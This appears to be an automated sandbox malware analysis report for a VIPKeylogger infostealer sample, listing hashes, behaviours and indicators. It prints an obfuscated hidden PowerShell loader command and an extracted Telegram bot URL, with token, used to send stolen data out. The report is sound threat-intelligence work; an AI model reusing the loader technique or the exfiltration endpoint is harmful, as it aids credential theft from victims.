Analysis
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max time kernel
143s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
17-12-2024 12:06
Static task
static1
Behavioral task
behavioral1
Sample
pegless.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
pegless.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20241007-en
General
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Target
pegless.exe
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Size
1.1MB
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MD5
487fad16da392c87fb894a6ccbd95870
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SHA1
16f4935ce6d245d535f23a1557b6f0e0ad77baa9
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SHA256
2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ce
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SHA512
bbb60d3e7a24964e100ea583bd701dbf1b1ebffb44fd03de5f6c096b87de8ded04e7ece05dd28995eb2bcdf1e3cdb1fcaa11078277cba3b41af1a5c4b8e04b59
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SSDEEP
24576:zNrNYogUzS7ZTdlfjS03VwV5k7j5awX300zQUGtZc:Z+JI2Jj3VwXgj5aEkHUGtZc
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7745751910:AAGY46QDCTWO_Pw9iDqZhkNij-i4uwbMgzE/sendMessage?chat_id=7695061973
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2068 powershell.exe -
Loads dropped DLL 1 IoCs
pid Process 4808 pegless.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 21 2836 msiexec.exe 23 2836 msiexec.exe 25 2836 msiexec.exe 27 2836 msiexec.exe 29 2836 msiexec.exe 39 2836 msiexec.exe 43 2836 msiexec.exe 45 2836 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 20 drive.google.com 21 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 38 checkip.dyndns.org -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\stilhederne\tamtammens.ini pegless.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2836 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2068 powershell.exe 2836 msiexec.exe -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Common Files\inddatafunktionens.Tra pegless.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pegless.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2068 powershell.exe 2068 powershell.exe 2068 powershell.exe 2068 powershell.exe 2068 powershell.exe 2068 powershell.exe 2068 powershell.exe 2836 msiexec.exe 2836 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2068 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2068 powershell.exe Token: SeIncreaseQuotaPrivilege 2068 powershell.exe Token: SeSecurityPrivilege 2068 powershell.exe Token: SeTakeOwnershipPrivilege 2068 powershell.exe Token: SeLoadDriverPrivilege 2068 powershell.exe Token: SeSystemProfilePrivilege 2068 powershell.exe Token: SeSystemtimePrivilege 2068 powershell.exe Token: SeProfSingleProcessPrivilege 2068 powershell.exe Token: SeIncBasePriorityPrivilege 2068 powershell.exe Token: SeCreatePagefilePrivilege 2068 powershell.exe Token: SeBackupPrivilege 2068 powershell.exe Token: SeRestorePrivilege 2068 powershell.exe Token: SeShutdownPrivilege 2068 powershell.exe Token: SeDebugPrivilege 2068 powershell.exe Token: SeSystemEnvironmentPrivilege 2068 powershell.exe Token: SeRemoteShutdownPrivilege 2068 powershell.exe Token: SeUndockPrivilege 2068 powershell.exe Token: SeManageVolumePrivilege 2068 powershell.exe Token: 33 2068 powershell.exe Token: 34 2068 powershell.exe Token: 35 2068 powershell.exe Token: 36 2068 powershell.exe Token: SeDebugPrivilege 2836 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4808 wrote to memory of 2068 4808 pegless.exe 83 PID 4808 wrote to memory of 2068 4808 pegless.exe 83 PID 4808 wrote to memory of 2068 4808 pegless.exe 83 PID 2068 wrote to memory of 2836 2068 powershell.exe 96 PID 2068 wrote to memory of 2836 2068 powershell.exe 96 PID 2068 wrote to memory of 2836 2068 powershell.exe 96 PID 2068 wrote to memory of 2836 2068 powershell.exe 96 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\pegless.exe"C:\Users\Admin\AppData\Local\Temp\pegless.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4808 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Subleasing20=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una';$Damselflies181=$Subleasing20.SubString(62296,3);.$Damselflies181($Subleasing20) "2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:2836
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
74KB
MD558b2d4d8dcb1f7505b049780ab782495
SHA17781b3dc2da3205c27020121a5083c1a5363751b
SHA256fca8d4a203b4456bd2dcc7d9d8901762199381cd6436d6dafed510a94d173201
SHA51252195930e588f773cbbab36b758b66c161a9a09be9ec20e96d390a64a30ff92c3b2c51675efbd921379c9b06b6b3e250040aa3f9facae7f01daff3ab7ab71d11
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Filesize
326KB
MD5906fddea67f3fcaf133c8a5fa43bc4e7
SHA11cb2e0442d83a8b638bf2812662c1d2a0399521f
SHA2565e4c3e81328f09a96778f6b07cfde424e0a7b553b59b2c815c2a725cbd73c4c4
SHA51223ba6c3286149578367ffb1af0f3d51046f7afb972d5507c99dd47d7859664df624bfa17bc5fb0317084643fd325da1dfcd996a2465ae34a1a1840599dd06c78
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Filesize
7KB
MD5675c4948e1efc929edcabfe67148eddd
SHA1f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA2561076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
SHA51261737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683